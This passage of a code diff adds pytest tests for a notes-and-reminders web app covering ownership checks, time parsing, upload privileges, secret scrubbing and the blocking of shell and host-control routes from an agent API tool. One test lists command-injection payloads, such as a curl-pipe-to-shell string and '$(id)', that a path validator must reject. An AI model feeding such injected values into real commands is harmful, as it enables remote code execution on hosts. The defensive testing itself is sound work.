|
||||
self.client = SimpleNamespace(host="127.0.0.1")
|
||||
self.app = SimpleNamespace(
|
||||
state=SimpleNamespace(auth_manager=_AuthManager(admins))
|
||||
)
|
||||
|
||||
async def json(self):
|
||||
return self._body
|
||||
|
||||
|
||||
class _Query:
|
||||
def __init__(self, note):
|
||||
self.note = note
|
||||
|
||||
def filter(self, *args, **kwargs):
|
||||
return self
|
||||
|
||||
def first(self):
|
||||
return self.note
|
||||
|
||||
|
||||
class _Db:
|
||||
def __init__(self, note):
|
||||
self.note = note
|
||||
self.closed = False
|
||||
|
||||
def query(self, model):
|
||||
return _Query(self.note)
|
||||
|
||||
def close(self):
|
||||
self.closed = True
|
||||
|
||||
|
||||
def _endpoint(monkeypatch, note=None):
|
||||
import routes.note_routes as note_routes
|
||||
|
||||
calls = []
|
||||
db = _Db(note)
|
||||
|
||||
async def fake_dispatch_reminder(**kwargs):
|
||||
calls.append(kwargs)
|
||||
return {"ok": True}
|
||||
|
||||
monkeypatch.setattr(note_routes, "SessionLocal", lambda: db)
|
||||
monkeypatch.setattr(note_routes, "dispatch_reminder", fake_dispatch_reminder)
|
||||
|
||||
router = note_routes.setup_note_routes()
|
||||
endpoint = next(
|
||||
route.endpoint for route in router.routes
|
||||
if route.path == "/api/notes/fire-reminder" and "POST" in route.methods
|
||||
)
|
||||
return endpoint, calls, db
|
||||
|
||||
|
||||
def _note(**overrides):
|
||||
data = {
|
||||
"id": "note-1",
|
||||
"owner": "alice",
|
||||
"title": "Stored title",
|
||||
"content": "Stored body",
|
||||
"items": None,
|
||||
}
|
||||
data.update(overrides)
|
||||
return SimpleNamespace(**data)
|
||||
|
||||
|
||||
def test_real_reminder_requires_owned_note(monkeypatch):
|
||||
endpoint, calls, _db = _endpoint(monkeypatch, _note(owner="bob"))
|
||||
|
||||
with pytest.raises(HTTPException) as exc:
|
||||
asyncio.run(endpoint(_Request({"note_id": "note-1"}, user="alice")))
|
||||
|
||||
assert exc.value.status_code == 404
|
||||
assert calls == []
|
||||
|
||||
|
||||
def test_real_reminder_uses_stored_note_and_ignores_overrides(monkeypatch):
|
||||
endpoint, calls, db = _endpoint(monkeypatch, _note())
|
||||
|
||||
result = asyncio.run(endpoint(_Request({
|
||||
"note_id": "note-1",
|
||||
"title": "Forged title",
|
||||
"body": "Forged body",
|
||||
"channel": "webhook",
|
||||
"webhook_integration_id": "global-webhook",
|
||||
"webhook_payload_template": '{"content":"owned"}',
|
||||
}, user="alice")))
|
||||
|
||||
assert result == {"ok": True}
|
||||
assert db.closed is True
|
||||
assert calls == [{
|
||||
"title": "Stored title",
|
||||
"note_body": "Stored body",
|
||||
"note_id": "note-1",
|
||||
"owner": "alice",
|
||||
"queue_browser": False,
|
||||
"settings_override": None,
|
||||
}]
|
||||
|
||||
|
||||
def test_real_checklist_reminder_body_is_built_from_stored_items(monkeypatch):
|
||||
endpoint, calls, _db = _endpoint(monkeypatch, _note(items=(
|
||||
'[{"text":"first","done":false},'
|
||||
'{"text":"finished","done":true},'
|
||||
'{"text":"second","checked":false}]'
|
||||
)))
|
||||
|
||||
asyncio.run(endpoint(_Request({"note_id": "note-1"}, user="alice")))
|
||||
|
||||
assert calls[0]["note_body"] == "Pending (2):\n- first\n- second"
|
||||
|
||||
|
||||
def test_non_admin_cannot_fire_synthetic_test_reminder(monkeypatch):
|
||||
endpoint, calls, _db = _endpoint(monkeypatch)
|
||||
|
||||
with pytest.raises(HTTPException) as exc:
|
||||
asyncio.run(endpoint(_Request({
|
||||
"note_id": "test-123",
|
||||
"title": "Test Reminder",
|
||||
"body": "Test body",
|
||||
"channel": "webhook",
|
||||
"webhook_integration_id": "global-webhook",
|
||||
}, user="alice")))
|
||||
|
||||
assert exc.value.status_code == 403
|
||||
assert calls == []
|
||||
|
||||
|
||||
def test_admin_test_reminder_can_use_current_ui_overrides(monkeypatch):
|
||||
endpoint, calls, _db = _endpoint(monkeypatch)
|
||||
|
||||
result = asyncio.run(endpoint(_Request({
|
||||
"note_id": "test-123",
|
||||
"title": "Test Reminder",
|
||||
"body": "Test body",
|
||||
"channel": "webhook",
|
||||
"webhook_integration_id": "global-webhook",
|
||||
"webhook_payload_template": '{"content":"{{message}}"}',
|
||||
}, user="admin", admins={"admin"})))
|
||||
|
||||
assert result == {"ok": True}
|
||||
assert calls == [{
|
||||
"title": "Test Reminder",
|
||||
"note_body": "Test body",
|
||||
"note_id": "test-123",
|
||||
"owner": "admin",
|
||||
"queue_browser": False,
|
||||
"settings_override": {
|
||||
"reminder_channel": "webhook",
|
||||
"reminder_webhook_integration_id": "global-webhook",
|
||||
"reminder_webhook_payload_template": '{"content":"{{message}}"}',
|
||||
},
|
||||
}]
|
||||
@@ -0,0 +1,63 @@
|
||||
"""Regression: parse_due_for_user must handle time-first phrasings.
|
||||
|
||||
The tool schema and tool_index both advertise '11pm today' as a valid
|
||||
due_date example. The parser's natural-language branch only matched
|
||||
day-first format ('today at 11pm'), so time-first strings like '3pm today'
|
||||
raised ValueError, fell back to the raw string, and the ISO-only reminder
|
||||
scanner never fired the note. Fixes #3302.
|
||||
"""
|
||||
from datetime import datetime, timezone
|
||||
|
||||
import routes.calendar_routes as calendar_routes
|
||||
from src.user_time import clear_user_time_context, set_user_tz_name, set_user_tz_offset
|
||||
|
||||
|
||||
class _FixedNow(datetime):
|
||||
"""Freeze server clock at 2026-06-07T10:00:00 UTC for deterministic tests."""
|
||||
@classmethod
|
||||
def now(cls, tz=None):
|
||||
value = datetime(2026, 6, 7, 10, 0, 0, tzinfo=timezone.utc)
|
||||
if tz is not None:
|
||||
return value.astimezone(tz)
|
||||
return value.replace(tzinfo=None)
|
||||
|
||||
|
||||
def setup_function():
|
||||
clear_user_time_context()
|
||||
set_user_tz_offset(0)
|
||||
set_user_tz_name("UTC")
|
||||
|
||||
|
||||
def teardown_function():
|
||||
clear_user_time_context()
|
||||
|
||||
|
||||
def test_time_first_today(monkeypatch):
|
||||
monkeypatch.setattr(calendar_routes, "datetime", _FixedNow)
|
||||
result = calendar_routes.parse_due_for_user("3pm today")
|
||||
assert result.startswith("2026-06-07T15:00:00")
|
||||
|
||||
|
||||
def test_time_first_today_11pm(monkeypatch):
|
||||
monkeypatch.setattr(calendar_routes, "datetime", _FixedNow)
|
||||
result = calendar_routes.parse_due_for_user("11pm today")
|
||||
assert result.startswith("2026-06-07T23:00:00")
|
||||
|
||||
|
||||
def test_time_first_tomorrow(monkeypatch):
|
||||
monkeypatch.setattr(calendar_routes, "datetime", _FixedNow)
|
||||
result = calendar_routes.parse_due_for_user("9am tomorrow")
|
||||
assert result.startswith("2026-06-08T09:00:00")
|
||||
|
||||
|
||||
def test_time_first_with_minutes(monkeypatch):
|
||||
monkeypatch.setattr(calendar_routes, "datetime", _FixedNow)
|
||||
result = calendar_routes.parse_due_for_user("2:30pm tomorrow")
|
||||
assert result.startswith("2026-06-08T14:30:00")
|
||||
|
||||
|
||||
def test_day_first_still_works(monkeypatch):
|
||||
"""Existing day-first format must not regress."""
|
||||
monkeypatch.setattr(calendar_routes, "datetime", _FixedNow)
|
||||
result = calendar_routes.parse_due_for_user("today at 3pm")
|
||||
assert result.startswith("2026-06-07T15:00:00")
|
||||
@@ -0,0 +1,98 @@
|
||||
import asyncio
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
|
||||
import pytest
|
||||
from fastapi import HTTPException
|
||||
|
||||
from routes import personal_routes
|
||||
|
||||
|
||||
def _upload_endpoint():
|
||||
router = personal_routes.setup_personal_routes(_FakePersonalDocs(), None, True)
|
||||
for route in router.routes:
|
||||
if getattr(route, "path", "") == "/api/personal/upload" and "POST" in getattr(route, "methods", set()):
|
||||
return route.endpoint
|
||||
raise AssertionError("upload endpoint not found")
|
||||
|
||||
|
||||
def _request(privileges):
|
||||
class _AuthManager:
|
||||
def get_privileges(self, user):
|
||||
assert user == "alice"
|
||||
return privileges
|
||||
|
||||
return SimpleNamespace(
|
||||
state=SimpleNamespace(current_user="alice"),
|
||||
app=SimpleNamespace(
|
||||
state=SimpleNamespace(
|
||||
auth_manager=_AuthManager(),
|
||||
),
|
||||
),
|
||||
client=SimpleNamespace(host="203.0.113.10"),
|
||||
)
|
||||
|
||||
|
||||
class _FakePersonalDocs:
|
||||
def __init__(self):
|
||||
self.added = []
|
||||
|
||||
def add_directory(self, directory, index=False):
|
||||
self.added.append((directory, index))
|
||||
|
||||
|
||||
class _FakeRAG:
|
||||
def __init__(self):
|
||||
self.docs = []
|
||||
|
||||
def _split_into_chunks(self, text, chunk_size=500):
|
||||
return [text]
|
||||
|
||||
def add_document(self, chunk, metadata):
|
||||
self.docs.append((chunk, metadata))
|
||||
return True
|
||||
|
||||
|
||||
class _Upload:
|
||||
filename = "notes.txt"
|
||||
|
||||
async def read(self, limit):
|
||||
return b"hello from upload"
|
||||
|
||||
|
||||
def test_personal_upload_requires_document_privilege(monkeypatch):
|
||||
monkeypatch.setenv("AUTH_ENABLED", "true")
|
||||
monkeypatch.setattr(
|
||||
personal_routes,
|
||||
"get_rag_manager",
|
||||
lambda: pytest.fail("RAG must not be touched before privilege passes"),
|
||||
)
|
||||
|
||||
endpoint = _upload_endpoint()
|
||||
|
||||
with pytest.raises(HTTPException) as exc:
|
||||
asyncio.run(endpoint(request=_request({"can_use_documents": False}), files=[]))
|
||||
|
||||
assert exc.value.status_code == 403
|
||||
|
||||
|
||||
def test_personal_upload_indexes_with_privileged_owner(tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("AUTH_ENABLED", "true")
|
||||
monkeypatch.setattr(personal_routes, "UPLOADS_DIR", str(tmp_path))
|
||||
rag = _FakeRAG()
|
||||
monkeypatch.setattr(personal_routes, "get_rag_manager", lambda: rag)
|
||||
|
||||
endpoint = _upload_endpoint()
|
||||
result = asyncio.run(
|
||||
endpoint(
|
||||
request=_request({"can_use_documents": True}),
|
||||
files=[_Upload()],
|
||||
)
|
||||
)
|
||||
|
||||
assert result["success"] is True
|
||||
assert result["indexed_count"] == 1
|
||||
assert rag.docs[0][0] == "hello from upload"
|
||||
metadata = rag.docs[0][1]
|
||||
assert metadata["owner"] == "alice"
|
||||
assert Path(metadata["directory"]).name == "alice"
|
||||
@@ -0,0 +1,38 @@
|
||||
from src.rag_manager import RAGManager
|
||||
|
||||
|
||||
class _FakeVectorRAG:
|
||||
def __init__(self):
|
||||
self.calls = []
|
||||
|
||||
def index_personal_documents(self, directory, file_extensions=None, owner=None):
|
||||
self.calls.append(
|
||||
{
|
||||
"directory": directory,
|
||||
"file_extensions": file_extensions,
|
||||
"owner": owner,
|
||||
}
|
||||
)
|
||||
return {"success": True, "indexed_count": 1}
|
||||
|
||||
|
||||
def test_rag_manager_forwards_owner_and_file_extensions():
|
||||
fake = _FakeVectorRAG()
|
||||
manager = RAGManager.__new__(RAGManager)
|
||||
manager.vector_rag = fake
|
||||
extensions = {".md", ".txt"}
|
||||
|
||||
result = manager.index_personal_documents(
|
||||
"/tmp/personal",
|
||||
file_extensions=extensions,
|
||||
owner="alice",
|
||||
)
|
||||
|
||||
assert result == {"success": True, "indexed_count": 1}
|
||||
assert fake.calls == [
|
||||
{
|
||||
"directory": "/tmp/personal",
|
||||
"file_extensions": extensions,
|
||||
"owner": "alice",
|
||||
}
|
||||
]
|
||||
@@ -115,6 +115,19 @@ def _install_core_auth_stub(monkeypatch):
|
||||
return auth_mod
|
||||
|
||||
|
||||
def _install_core_middleware_stub(monkeypatch):
|
||||
"""Install the narrow middleware surface needed by loopback tool tests."""
|
||||
core_mod = types.ModuleType("core")
|
||||
core_mod.__path__ = []
|
||||
middleware_mod = types.ModuleType("core.middleware")
|
||||
middleware_mod.INTERNAL_TOOL_HEADER = "X-Internal-Tool"
|
||||
middleware_mod.INTERNAL_TOOL_TOKEN = "test-token"
|
||||
core_mod.middleware = middleware_mod
|
||||
monkeypatch.setitem(sys.modules, "core", core_mod)
|
||||
monkeypatch.setitem(sys.modules, "core.middleware", middleware_mod)
|
||||
return middleware_mod
|
||||
|
||||
|
||||
def test_providers_requires_admin_before_discovery_and_cache(monkeypatch):
|
||||
_install_model_route_import_stubs(monkeypatch)
|
||||
import routes.model_routes as model_routes
|
||||
@@ -365,7 +378,7 @@ async def test_build_chat_context_incognito_does_not_duplicate_current_user_mess
|
||||
def fake_add_user_message(sess, chat_handler, preprocessed, incognito=False):
|
||||
sess.messages.append({"role": "user", "content": preprocessed.user_content})
|
||||
|
||||
async def fake_maybe_compact(sess, endpoint_url, model, messages, headers):
|
||||
async def fake_maybe_compact(sess, endpoint_url, model, messages, headers, owner=None):
|
||||
return messages, 123, False
|
||||
|
||||
monkeypatch.setattr(chat_helpers, "preprocess", fake_preprocess)
|
||||
@@ -428,6 +441,168 @@ async def test_admin_agent_tools_require_admin(monkeypatch):
|
||||
assert "requires an admin" in result["error"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_app_api_blocks_shell_routes_before_loopback(monkeypatch):
|
||||
import httpx
|
||||
from src.tool_implementations import do_app_api
|
||||
|
||||
class UnexpectedAsyncClient:
|
||||
def __init__(self, *args, **kwargs):
|
||||
raise AssertionError("app_api should block shell routes before loopback")
|
||||
|
||||
monkeypatch.setattr(httpx, "AsyncClient", UnexpectedAsyncClient)
|
||||
|
||||
for path in ("/api/shell/exec", "api/shell/stream"):
|
||||
result = await do_app_api(
|
||||
json.dumps(
|
||||
{
|
||||
"action": "call",
|
||||
"method": "POST",
|
||||
"path": path,
|
||||
"body": {"command": "echo should-not-run"},
|
||||
}
|
||||
),
|
||||
owner="admin",
|
||||
)
|
||||
|
||||
assert result["exit_code"] == 1
|
||||
assert "Path blocked for safety" in result["error"]
|
||||
assert "Sensitive endpoints" in result["error"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_app_api_blocks_cookbook_host_control_routes_before_loopback(monkeypatch):
|
||||
import httpx
|
||||
from src.tool_implementations import do_app_api
|
||||
|
||||
class UnexpectedAsyncClient:
|
||||
def __init__(self, *args, **kwargs):
|
||||
raise AssertionError("app_api should block host-control routes before loopback")
|
||||
|
||||
monkeypatch.setattr(httpx, "AsyncClient", UnexpectedAsyncClient)
|
||||
|
||||
blocked_calls = (
|
||||
(
|
||||
"api/cookbook/packages/install",
|
||||
{"pip": "hf_transfer"},
|
||||
"package installation is host code execution",
|
||||
),
|
||||
(
|
||||
"/api/cookbook/rebuild-engine",
|
||||
{"engine": "llamacpp"},
|
||||
"engine rebuild mutates local or remote host state",
|
||||
),
|
||||
(
|
||||
"/api/cookbook/kill-pid",
|
||||
{"pid": 12345, "signal": "TERM"},
|
||||
"process signalling is host control",
|
||||
),
|
||||
)
|
||||
|
||||
for path, body, error_text in blocked_calls:
|
||||
result = await do_app_api(
|
||||
json.dumps(
|
||||
{
|
||||
"action": "call",
|
||||
"method": "POST",
|
||||
"path": path,
|
||||
"body": body,
|
||||
}
|
||||
),
|
||||
owner="admin",
|
||||
)
|
||||
|
||||
assert result["exit_code"] == 1
|
||||
assert error_text in result["error"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_app_api_endpoint_discovery_hides_shell_routes(monkeypatch):
|
||||
_install_core_middleware_stub(monkeypatch)
|
||||
import httpx
|
||||
from src.tool_implementations import do_app_api
|
||||
|
||||
class FakeResponse:
|
||||
def json(self):
|
||||
return {
|
||||
"paths": {
|
||||
"/api/shell/exec": {"post": {"summary": "Execute Shell Command"}},
|
||||
"/api/shell/stream": {"post": {"summary": "Stream Shell Command"}},
|
||||
"/api/auth/settings": {"get": {"summary": "Auth Settings"}},
|
||||
"/api/cookbook/gpus": {"get": {"summary": "List GPUs"}},
|
||||
}
|
||||
}
|
||||
|
||||
class FakeAsyncClient:
|
||||
def __init__(self, *args, **kwargs):
|
||||
pass
|
||||
|
||||
async def __aenter__(self):
|
||||
return self
|
||||
|
||||
async def __aexit__(self, exc_type, exc, tb):
|
||||
return False
|
||||
|
||||
async def get(self, *args, **kwargs):
|
||||
return FakeResponse()
|
||||
|
||||
monkeypatch.setattr(httpx, "AsyncClient", FakeAsyncClient)
|
||||
|
||||
result = await do_app_api(json.dumps({"action": "endpoints"}), owner="admin")
|
||||
|
||||
assert result["exit_code"] == 0
|
||||
paths = {(endpoint["method"], endpoint["path"]) for endpoint in result["endpoints"]}
|
||||
assert ("GET", "/api/cookbook/gpus") in paths
|
||||
assert ("POST", "/api/shell/exec") not in paths
|
||||
assert ("POST", "/api/shell/stream") not in paths
|
||||
assert ("GET", "/api/auth/settings") not in paths
|
||||
assert all(not endpoint["path"].startswith("/api/shell") for endpoint in result["endpoints"])
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_app_api_endpoint_discovery_hides_cookbook_host_control_routes(monkeypatch):
|
||||
_install_core_middleware_stub(monkeypatch)
|
||||
import httpx
|
||||
from src.tool_implementations import do_app_api
|
||||
|
||||
class FakeResponse:
|
||||
def json(self):
|
||||
return {
|
||||
"paths": {
|
||||
"/api/cookbook/packages": {"get": {"summary": "List Cookbook Packages"}},
|
||||
"/api/cookbook/packages/install": {"post": {"summary": "Install Package"}},
|
||||
"/api/cookbook/rebuild-engine": {"post": {"summary": "Rebuild Engine"}},
|
||||
"/api/cookbook/kill-pid": {"post": {"summary": "Kill Process"}},
|
||||
"/api/cookbook/gpus": {"get": {"summary": "List GPUs"}},
|
||||
}
|
||||
}
|
||||
|
||||
class FakeAsyncClient:
|
||||
def __init__(self, *args, **kwargs):
|
||||
pass
|
||||
|
||||
async def __aenter__(self):
|
||||
return self
|
||||
|
||||
async def __aexit__(self, exc_type, exc, tb):
|
||||
return False
|
||||
|
||||
async def get(self, *args, **kwargs):
|
||||
return FakeResponse()
|
||||
|
||||
monkeypatch.setattr(httpx, "AsyncClient", FakeAsyncClient)
|
||||
|
||||
result = await do_app_api(json.dumps({"action": "endpoints", "filter": "cookbook"}), owner="admin")
|
||||
|
||||
assert result["exit_code"] == 0
|
||||
paths = {(endpoint["method"], endpoint["path"]) for endpoint in result["endpoints"]}
|
||||
assert ("GET", "/api/cookbook/packages") in paths
|
||||
assert ("GET", "/api/cookbook/gpus") in paths
|
||||
assert ("POST", "/api/cookbook/packages/install") not in paths
|
||||
assert ("POST", "/api/cookbook/rebuild-engine") not in paths
|
||||
assert ("POST", "/api/cookbook/kill-pid") not in paths
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_public_agent_policy_blocks_sensitive_tools(monkeypatch):
|
||||
auth_mod = _install_core_auth_stub(monkeypatch)
|
||||
|
||||
@@ -49,6 +49,16 @@ def test_google_pse_cx_is_public():
|
||||
assert scrub_settings({"google_pse_cx": "cx123"})["google_pse_cx"] == "cx123"
|
||||
|
||||
|
||||
def test_webhook_integration_handle_blanked():
|
||||
out = scrub_settings({
|
||||
"reminder_webhook_integration_id": "global-webhook",
|
||||
"reminder_webhook_payload_template": '{"content":"{{message}}"}',
|
||||
})
|
||||
assert is_secret_key("reminder_webhook_integration_id") is True
|
||||
assert out["reminder_webhook_integration_id"] == ""
|
||||
assert out["reminder_webhook_payload_template"] == '{"content":"{{message}}"}'
|
||||
|
||||
|
||||
def test_empty_and_nonstring_secret_values_untouched():
|
||||
out = scrub_settings({"api_key": "", "feature_key": 7, "x_token": None})
|
||||
assert out["api_key"] == "" # already empty
|
||||
|
||||
+131
-34
@@ -1,6 +1,7 @@
|
||||
"""Tests for shell_routes.py helpers."""
|
||||
|
||||
import builtins
|
||||
import importlib
|
||||
import importlib.util
|
||||
import json
|
||||
import os
|
||||
@@ -39,7 +40,9 @@ def test_shell_routes_import_without_posix_pty_modules(monkeypatch):
|
||||
cached_modules = {name: sys.modules.pop(name, None) for name in ("fcntl", "pty")}
|
||||
|
||||
module_path = Path(__file__).resolve().parents[1] / "routes" / "shell_routes.py"
|
||||
spec = importlib.util.spec_from_file_location("_shell_routes_without_pty", module_path)
|
||||
spec = importlib.util.spec_from_file_location(
|
||||
"_shell_routes_without_pty", module_path
|
||||
)
|
||||
module = importlib.util.module_from_spec(spec)
|
||||
sys.modules[spec.name] = module
|
||||
try:
|
||||
@@ -59,7 +62,9 @@ async def test_generate_pty_reports_explicit_unsupported_error(monkeypatch):
|
||||
import routes.shell_routes as shell_routes
|
||||
|
||||
monkeypatch.setattr(shell_routes, "PTY_SUPPORTED", False)
|
||||
monkeypatch.setattr(shell_routes, "_PTY_IMPORT_ERROR", ImportError("No module named 'termios'"))
|
||||
monkeypatch.setattr(
|
||||
shell_routes, "_PTY_IMPORT_ERROR", ImportError("No module named 'termios'")
|
||||
)
|
||||
|
||||
request = SimpleNamespace(is_disconnected=lambda: False)
|
||||
events = [
|
||||
@@ -123,29 +128,76 @@ class TestRunningInContainer:
|
||||
def test_dockerenv_marker_present(self, tmp_path):
|
||||
marker = tmp_path / ".dockerenv"
|
||||
marker.write_text("")
|
||||
assert _running_in_container(
|
||||
dockerenv_path=str(marker), cgroup_path=str(tmp_path / "missing"),
|
||||
) is True
|
||||
assert (
|
||||
_running_in_container(
|
||||
dockerenv_path=str(marker),
|
||||
cgroup_path=str(tmp_path / "missing"),
|
||||
)
|
||||
is True
|
||||
)
|
||||
|
||||
def test_cgroup_names_a_container_runtime(self, tmp_path):
|
||||
cgroup = tmp_path / "cgroup"
|
||||
cgroup.write_text("12:devices:/docker/abcdef0123456789\n")
|
||||
assert _running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"), cgroup_path=str(cgroup),
|
||||
) is True
|
||||
assert (
|
||||
_running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"),
|
||||
cgroup_path=str(cgroup),
|
||||
)
|
||||
is True
|
||||
)
|
||||
|
||||
def test_bare_host_has_neither_signal(self, tmp_path):
|
||||
cgroup = tmp_path / "cgroup"
|
||||
cgroup.write_text("0::/user.slice/session-1.scope\n")
|
||||
assert _running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"), cgroup_path=str(cgroup),
|
||||
) is False
|
||||
assert (
|
||||
_running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"),
|
||||
cgroup_path=str(cgroup),
|
||||
)
|
||||
is False
|
||||
)
|
||||
|
||||
def test_missing_cgroup_file_is_not_a_container(self, tmp_path):
|
||||
assert _running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"),
|
||||
cgroup_path=str(tmp_path / "also-missing"),
|
||||
) is False
|
||||
assert (
|
||||
_running_in_container(
|
||||
dockerenv_path=str(tmp_path / "no-marker"),
|
||||
cgroup_path=str(tmp_path / "also-missing"),
|
||||
)
|
||||
is False
|
||||
)
|
||||
|
||||
|
||||
class TestAppleSiliconDetection:
|
||||
"""APFEL should only surface as available on native Apple Silicon Macs."""
|
||||
|
||||
def test_reports_true_on_macos_arm64(self, monkeypatch):
|
||||
import core.platform_compat as platform_compat
|
||||
|
||||
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Darwin")
|
||||
monkeypatch.setattr(platform_compat.platform, "machine", lambda: "arm64")
|
||||
importlib.reload(platform_compat)
|
||||
|
||||
assert platform_compat.IS_APPLE_SILICON is True
|
||||
|
||||
@pytest.mark.parametrize("machine", ["x86_64", "amd64"])
|
||||
def test_reports_false_off_apple_silicon(self, monkeypatch, machine):
|
||||
import core.platform_compat as platform_compat
|
||||
|
||||
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Darwin")
|
||||
monkeypatch.setattr(platform_compat.platform, "machine", lambda: machine)
|
||||
importlib.reload(platform_compat)
|
||||
|
||||
assert platform_compat.IS_APPLE_SILICON is False
|
||||
|
||||
def test_reports_false_on_non_macos(self, monkeypatch):
|
||||
import core.platform_compat as platform_compat
|
||||
|
||||
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Linux")
|
||||
monkeypatch.setattr(platform_compat.platform, "machine", lambda: "arm64")
|
||||
importlib.reload(platform_compat)
|
||||
|
||||
assert platform_compat.IS_APPLE_SILICON is False
|
||||
|
||||
|
||||
class TestDockerRowStatus:
|
||||
@@ -155,35 +207,50 @@ class TestDockerRowStatus:
|
||||
|
||||
def test_in_container_and_absent_is_not_applicable_with_safe_default_hint(self):
|
||||
status = _docker_row_status(
|
||||
on_remote=False, in_container=True, installed=False, default_hint=self.DEFAULT,
|
||||
on_remote=False,
|
||||
in_container=True,
|
||||
installed=False,
|
||||
default_hint=self.DEFAULT,
|
||||
)
|
||||
assert status.applicable is False
|
||||
assert status.install_hint == DOCKER_IN_CONTAINER_HINT
|
||||
|
||||
def test_in_container_but_present_is_applicable_with_default_hint(self):
|
||||
status = _docker_row_status(
|
||||
on_remote=False, in_container=True, installed=True, default_hint=self.DEFAULT,
|
||||
on_remote=False,
|
||||
in_container=True,
|
||||
installed=True,
|
||||
default_hint=self.DEFAULT,
|
||||
)
|
||||
assert status.applicable is True
|
||||
assert status.install_hint == self.DEFAULT
|
||||
|
||||
def test_on_host_and_absent_stays_applicable_with_default_hint(self):
|
||||
status = _docker_row_status(
|
||||
on_remote=False, in_container=False, installed=False, default_hint=self.DEFAULT,
|
||||
on_remote=False,
|
||||
in_container=False,
|
||||
installed=False,
|
||||
default_hint=self.DEFAULT,
|
||||
)
|
||||
assert status.applicable is True
|
||||
assert status.install_hint == self.DEFAULT
|
||||
|
||||
def test_remote_server_is_always_applicable_even_when_absent(self):
|
||||
status = _docker_row_status(
|
||||
on_remote=True, in_container=False, installed=False, default_hint=self.DEFAULT,
|
||||
on_remote=True,
|
||||
in_container=False,
|
||||
installed=False,
|
||||
default_hint=self.DEFAULT,
|
||||
)
|
||||
assert status.applicable is True
|
||||
assert status.install_hint == self.DEFAULT
|
||||
|
||||
def test_remote_server_ignores_local_container_status(self):
|
||||
status = _docker_row_status(
|
||||
on_remote=True, in_container=True, installed=False, default_hint=self.DEFAULT,
|
||||
on_remote=True,
|
||||
in_container=True,
|
||||
installed=False,
|
||||
default_hint=self.DEFAULT,
|
||||
)
|
||||
assert status.applicable is True
|
||||
assert status.install_hint == self.DEFAULT
|
||||
@@ -226,7 +293,10 @@ class TestPackageProbeStatus:
|
||||
|
||||
assert _package_installed_from_probe("vllm", probe) is True
|
||||
assert "python package: vllm 0.8.5" in _package_status_note("vllm", probe)
|
||||
assert _package_pip_update_status({"name": "vllm", "pip": "vllm"}, probe).available is True
|
||||
assert (
|
||||
_package_pip_update_status({"name": "vllm", "pip": "vllm"}, probe).available
|
||||
is True
|
||||
)
|
||||
|
||||
def test_vllm_cli_without_dist_is_external_for_update(self):
|
||||
probe = {
|
||||
@@ -250,18 +320,35 @@ class TestPackageProbeStatus:
|
||||
|
||||
assert _package_installed_from_probe("llama_cpp", probe) is True
|
||||
assert "native llama-server" in _package_status_note("llama_cpp", probe)
|
||||
status = _package_pip_update_status({"name": "llama_cpp", "pip": "llama-cpp-python[server]"}, probe)
|
||||
status = _package_pip_update_status(
|
||||
{"name": "llama_cpp", "pip": "llama-cpp-python[server]"}, probe
|
||||
)
|
||||
assert status.available is False
|
||||
assert "package manager or source checkout" in status.note
|
||||
|
||||
def test_apfel_does_not_use_generic_outside_odysseus_note(self):
|
||||
status = _package_pip_update_status(
|
||||
{"name": "APFEL", "pip": "", "update_cmd": "brew upgrade apfel"},
|
||||
{"binaries": {}, "dists": {}, "modules": {}},
|
||||
)
|
||||
|
||||
assert status.available is False
|
||||
assert "Update this system dependency outside Odysseus." not in status.note
|
||||
|
||||
def test_diffusers_requires_torch_too(self):
|
||||
missing_torch = {
|
||||
"modules": {"diffusers": {"found": True, "real_module": True}, "torch": {"found": False}},
|
||||
"modules": {
|
||||
"diffusers": {"found": True, "real_module": True},
|
||||
"torch": {"found": False},
|
||||
},
|
||||
"dists": {"diffusers": "0.37.0"},
|
||||
"binaries": {},
|
||||
}
|
||||
ready = {
|
||||
"modules": {"diffusers": {"found": True, "real_module": True}, "torch": {"found": True, "real_module": True}},
|
||||
"modules": {
|
||||
"diffusers": {"found": True, "real_module": True},
|
||||
"torch": {"found": True, "real_module": True},
|
||||
},
|
||||
"dists": {"diffusers": "0.37.0", "torch": "2.10.0"},
|
||||
"binaries": {},
|
||||
}
|
||||
@@ -293,7 +380,11 @@ class TestPackageProbeStatus:
|
||||
class TestSshBaseArgv:
|
||||
def test_basic_host_no_port(self):
|
||||
assert _ssh_base_argv("user@example.com", None) == [
|
||||
"ssh", "-o", "ConnectTimeout=6", "-o", "StrictHostKeyChecking=no",
|
||||
"ssh",
|
||||
"-o",
|
||||
"ConnectTimeout=6",
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"user@example.com",
|
||||
]
|
||||
|
||||
@@ -329,16 +420,21 @@ class TestVenvActivatePrefix:
|
||||
assert _venv_activate_prefix("~/venv") == ". ~/venv/bin/activate && "
|
||||
|
||||
def test_already_pointing_at_activate(self):
|
||||
assert _venv_activate_prefix("/opt/v/bin/activate") == ". /opt/v/bin/activate && "
|
||||
assert (
|
||||
_venv_activate_prefix("/opt/v/bin/activate") == ". /opt/v/bin/activate && "
|
||||
)
|
||||
|
||||
@pytest.mark.parametrize("bad", [
|
||||
"/opt/v && curl evil|sh",
|
||||
"$(id)",
|
||||
"`id`",
|
||||
"v;id",
|
||||
"v\nid",
|
||||
"v|id",
|
||||
])
|
||||
@pytest.mark.parametrize(
|
||||
"bad",
|
||||
[
|
||||
"/opt/v && curl evil|sh",
|
||||
"$(id)",
|
||||
"`id`",
|
||||
"v;id",
|
||||
"v\nid",
|
||||
"v|id",
|
||||
],
|
||||
)
|
||||
def test_injection_payloads_rejected(self, bad):
|
||||
with pytest.raises(ValueError):
|
||||
_venv_activate_prefix(bad)
|
||||
@@ -351,6 +447,7 @@ class TestRejectCrossSite:
|
||||
|
||||
def test_cross_site_rejected(self):
|
||||
from fastapi import HTTPException
|
||||
